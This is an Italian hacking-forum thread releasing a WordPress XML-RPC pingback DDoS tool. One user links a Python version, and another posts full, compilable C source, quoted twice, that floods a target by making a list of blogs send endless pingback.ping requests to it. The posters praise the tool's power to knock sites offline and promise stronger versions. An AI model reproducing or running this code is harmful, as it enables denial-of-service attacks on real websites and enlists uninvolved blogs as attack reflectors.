[Release]XMLRPC DDoS WordPress PingBack Remote Exploit

Stato
Discussione chiusa ad ulteriori risposte.

sik0

Utente Platinum
16 Aprile 2013
3,848
66
812
959
Ultima modifica da un moderatore:
Buooooona sera.

Dopo diversi test, ho deciso di postare finalmente e pubblicamente l'exploit remoto DDoS che sfrutta la vulnerabilità pingback.ping nei blog wordpress.
E' stato codato in python 2.7 e supporta il multithreading per una velocità maggiore.
E' 100% open source ed è disponibile su pastebin al seguente link [Python] XMLRPC DDoS WordPress PingBack API Remote Exploit - Pastebin.com
Se non vi va di fare Ctrl+C e Ctrl+V vi do anche il download in .py disponibile qua XMLRPC

Qualche screen:
Apertura:
b3d36f3f806f504aabfc843cd59b13f2.png
Attacco in corso:
c92d38dccf4cf81cd3292f3ad3ba5909.png

Per funzionare serve un file list.txt coi blog che (FORSE) rilascerò.
BB.

NUOVA VERSIONE: Python 3.3 / Maggiore potenza / Maggior numero di richieste: [Python] XMLRPC DDoS WordPress PingBack API Remote Exploit - Pastebin.com
 
Se proprio devi pubblicarlo...

Codice:
/*The command to compile is: gcc -o pdos -lpthread -lcurl source.c*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <pthread.h>
#include <curl/curl.h>




/*GENERAL SETTINGS*/
#define VERSION		"1.0.0b"
#define MAX_LEN		256




#define __ERR_GEN {fprintf(stderr,"[-] ERROR: " __FILE__ ":%u -> ",__LINE__); fflush(stderr); perror(""); exit(EXIT_FAILURE);}
	
	
typedef struct job{
	int c;
	char* targetUrl;
	char** listUrl;
    char *file;	
} t_job;


void *attack(void *p){
	CURL *curl;
	char *pingback, *url;
	t_job* job = (t_job*) p;
	
    if ((pingback = malloc(1024+strlen(job->targetUrl)+strlen(job->listUrl[job->c]))) == NULL) __ERR_GEN;
	sprintf(pingback, 
			"<?xmlversion=\"1.0\"?>"
				"<methodCall>"
					"<methodName>pingback.ping</methodName>"
					"<params>"
						"<param>"
							"<value>"
								"<string>%s</string>"
							"</value>"
						"</param>"
						"<param>"
							"<value>"
								"<string>%s</string>"
							"</value>"
						"</param>"
					"</params>"
				"</methodCall>", 
				job->listUrl[job->c], job->targetUrl);
					
	curl = curl_easy_init();
	if ((url = calloc(1, strlen(job->listUrl[job->c]) + 20)) == NULL) __ERR_GEN;
	strcpy(url, (const char *) job->listUrl[job->c]);
	strcat(url, "/xmlrpc.php");
	
	curl_easy_setopt(curl, CURLOPT_URL, url);
//	curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, my_function);			
	curl_easy_setopt(curl, CURLOPT_MAXCONNECTS, 100);
	curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
	curl_easy_setopt(curl, CURLOPT_POSTFIELDS, pingback);
	curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(pingback));
	
	while(1) curl_easy_perform(curl); 
	
	curl_easy_cleanup(curl);


	return;
}




/*UTILITY FUNCTIONS*/
unsigned int count_lines(char *file)
{
    FILE *fp = NULL;
    unsigned int c, lines = 0;


    if (!(fp = fopen(file, "r"))) __ERR_GEN;


    while ((c = fgetc(fp)) != EOF) {
        if ((c == '\n') || (c == 0x00)) lines++;
    }
    fclose(fp);


    return lines;
}


char **read_lines(char *file, unsigned int lines)
{
    FILE *fp = NULL;
    char *buffer = NULL;
    char **words = NULL;
    int i = 0;




    if (!(fp = fopen(file, "r")) || ((buffer = calloc(1, MAX_LEN)) == NULL) || ((words = malloc(lines * sizeof(char *))) == NULL)) __ERR_GEN;
	
    while (fgets(buffer, MAX_LEN, fp) != NULL) {
        if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] =='\r')) {
            buffer[strlen(buffer)] = 0x00;
			
            if ((words[i] = calloc(1, strlen(buffer))) == NULL) __ERR_GEN;			
            strncpy(words[i], buffer, strlen(buffer)-1);
			
            if(!(buffer = memset(buffer, 0x00, MAX_LEN))) __ERR_GEN;
			
            i++;
        }
    }
    free(buffer);
    fclose(fp);


    return words;
}


int main(int argc, char **argv)
{
    t_job *job;
	int c;


    if (argc < 2) {
        fprintf(stderr, "[-] ERROR: use -h for help\n");
        exit(EXIT_FAILURE);
    }
	
    if (getuid() != 0) {
        fprintf(stderr, "[-] ERROR: you need to be superuser\n");
        exit(EXIT_FAILURE);
    }


	if ((job = calloc(1, sizeof(t_job))) == NULL) __ERR_GEN;
 
    while ((c = getopt(argc, argv, "u:, f:, vh")) != -1) {
        switch (c) {
        case 'u':
            job->targetUrl = optarg;
            break;
        case 'f':
            job->file = optarg;
            break;
        case 'v':
            puts(VERSION);
            exit(EXIT_SUCCESS);
            break;
        case 'h':
            //help();
			exit(EXIT_SUCCESS);
            break;
        }
    }
	unsigned int lines = count_lines(job->file);
	job->listUrl = read_lines(job->file, lines);


	pthread_t threads[lines];
	for (c = 0; c < lines; c++) {
		job->c = c;
		if(pthread_create(&threads[c], NULL, attack, (void*) job) == -1) __ERR_GEN;
	}
	while(1) sleep(100);
	return 0;
}

Ecco una versione in C, funzionante e testata su linux, sicuramente più carina di quella in python. Però bravo per l'impegno.
(il funzionamento è identico alla tuo).
 
Se proprio devi pubblicarlo...

Codice:
/*The command to compile is: gcc -o pdos -lpthread -lcurl source.c*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <pthread.h>
#include <curl/curl.h>




/*GENERAL SETTINGS*/
#define VERSION        "1.0.0b"
#define MAX_LEN        256




#define __ERR_GEN {fprintf(stderr,"[-] ERROR: " __FILE__ ":%u -> ",__LINE__); fflush(stderr); perror(""); exit(EXIT_FAILURE);}
    
    
typedef struct job{
    int c;
    char* targetUrl;
    char** listUrl;
    char *file;    
} t_job;


void *attack(void *p){
    CURL *curl;
    char *pingback, *url;
    t_job* job = (t_job*) p;
    
    if ((pingback = malloc(1024+strlen(job->targetUrl)+strlen(job->listUrl[job->c]))) == NULL) __ERR_GEN;
    sprintf(pingback, 
            "<?xmlversion=\"1.0\"?>"
                "<methodCall>"
                    "<methodName>pingback.ping</methodName>"
                    "<params>"
                        "<param>"
                            "<value>"
                                "<string>%s</string>"
                            "</value>"
                        "</param>"
                        "<param>"
                            "<value>"
                                "<string>%s</string>"
                            "</value>"
                        "</param>"
                    "</params>"
                "</methodCall>", 
                job->listUrl[job->c], job->targetUrl);
                    
    curl = curl_easy_init();
    if ((url = calloc(1, strlen(job->listUrl[job->c]) + 20)) == NULL) __ERR_GEN;
    strcpy(url, (const char *) job->listUrl[job->c]);
    strcat(url, "/xmlrpc.php");
    
    curl_easy_setopt(curl, CURLOPT_URL, url);
//    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, my_function);            
    curl_easy_setopt(curl, CURLOPT_MAXCONNECTS, 100);
    curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, pingback);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(pingback));
    
    while(1) curl_easy_perform(curl); 
    
    curl_easy_cleanup(curl);


    return;
}




/*UTILITY FUNCTIONS*/
unsigned int count_lines(char *file)
{
    FILE *fp = NULL;
    unsigned int c, lines = 0;


    if (!(fp = fopen(file, "r"))) __ERR_GEN;


    while ((c = fgetc(fp)) != EOF) {
        if ((c == '\n') || (c == 0x00)) lines++;
    }
    fclose(fp);


    return lines;
}


char **read_lines(char *file, unsigned int lines)
{
    FILE *fp = NULL;
    char *buffer = NULL;
    char **words = NULL;
    int i = 0;




    if (!(fp = fopen(file, "r")) || ((buffer = calloc(1, MAX_LEN)) == NULL) || ((words = malloc(lines * sizeof(char *))) == NULL)) __ERR_GEN;
    
    while (fgets(buffer, MAX_LEN, fp) != NULL) {
        if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] =='\r')) {
            buffer[strlen(buffer)] = 0x00;
            
            if ((words[i] = calloc(1, strlen(buffer))) == NULL) __ERR_GEN;            
            strncpy(words[i], buffer, strlen(buffer)-1);
            
            if(!(buffer = memset(buffer, 0x00, MAX_LEN))) __ERR_GEN;
            
            i++;
        }
    }
    free(buffer);
    fclose(fp);


    return words;
}


int main(int argc, char **argv)
{
    t_job *job;
    int c;


    if (argc < 2) {
        fprintf(stderr, "[-] ERROR: use -h for help\n");
        exit(EXIT_FAILURE);
    }
    
    if (getuid() != 0) {
        fprintf(stderr, "[-] ERROR: you need to be superuser\n");
        exit(EXIT_FAILURE);
    }


    if ((job = calloc(1, sizeof(t_job))) == NULL) __ERR_GEN;
 
    while ((c = getopt(argc, argv, "u:, f:, vh")) != -1) {
        switch (c) {
        case 'u':
            job->targetUrl = optarg;
            break;
        case 'f':
            job->file = optarg;
            break;
        case 'v':
            puts(VERSION);
            exit(EXIT_SUCCESS);
            break;
        case 'h':
            //help();
            exit(EXIT_SUCCESS);
            break;
        }
    }
    unsigned int lines = count_lines(job->file);
    job->listUrl = read_lines(job->file, lines);


    pthread_t threads[lines];
    for (c = 0; c < lines; c++) {
        job->c = c;
        if(pthread_create(&threads[c], NULL, attack, (void*) job) == -1) __ERR_GEN;
    }
    while(1) sleep(100);
    return 0;
}

Ecco una versione in C, funzionante e testata su linux, sicuramente più carina di quella in python. Però bravo per l'impegno.
(il funzionamento è identico alla tuo).
Ho fatto dei test con dei vps e sembra che il mio invii più richieste.
Se non erro questa versione è stata pubblicata da qwertyoruiop ma è solo per linux.
 
No, la versione in C fatta da qwerty è un aborto di programmazione.
Questa è una versione fatta da me e fidati, quello in python non può inviare più richieste.

Se vedi il codice mio e quello di querty ti accorgi che sono due mondi differenti.
 
Ultima modifica:
Buooooona sera.

Dopo diversi test, ho deciso di postare finalmente e pubblicamente l'exploit remoto DDoS che sfrutta la vulnerabilità pingback.ping nei blog wordpress.
E' stato codato in python 2.7 e supporta il multithreading per una velocità maggiore.
E' 100% open source ed è disponibile su pastebin al seguente link [Python] XMLRPC DDoS WordPress PingBack API Remote Exploit - Pastebin.com
Se non vi va di fare Ctrl+C e Ctrl+V vi do anche il download in .py disponibile qua XMLRPC

Qualche screen:
Apertura:
b3d36f3f806f504aabfc843cd59b13f2.png
Attacco in corso:
c92d38dccf4cf81cd3292f3ad3ba5909.png

Per funzionare serve un file list.txt coi blog che (FORSE) rilascerò.
BB.
Sto provando ad aggiornare il codice per python 3.3.3

Ok versione per python 3.X ricodata

- - - Updated - - -

presto verrà pubblicato

- - - Updated - - -

[video=youtube;cLGvLPlhxls]https://www.youtube.com/watch?v=cLGvLPlhxls[/video]
 
  • Mi piace
Reazioni: Sikh©
Tra poco posterò la nuova versione (Grazie a [MENTION=81170]Xordas[/MENTION]) che é circa 4/5x più potente ed utilizza tutti i thread.

Inviato dal mio Nexus 5 utilizzando Tapatalk
 
  • Mi piace
Reazioni: ManeLOL
Ultima modifica:
K bll ! Csì pssiamo dvrtirci a fare gli hackers !!1!
Da quando premere invio è considerato hacker?
ps. lo so che il post era ironico

Comunque questo è uno script con i controcaxxi butta giù tutto e tutti :omfg:
 
Stato
Discussione chiusa ad ulteriori risposte.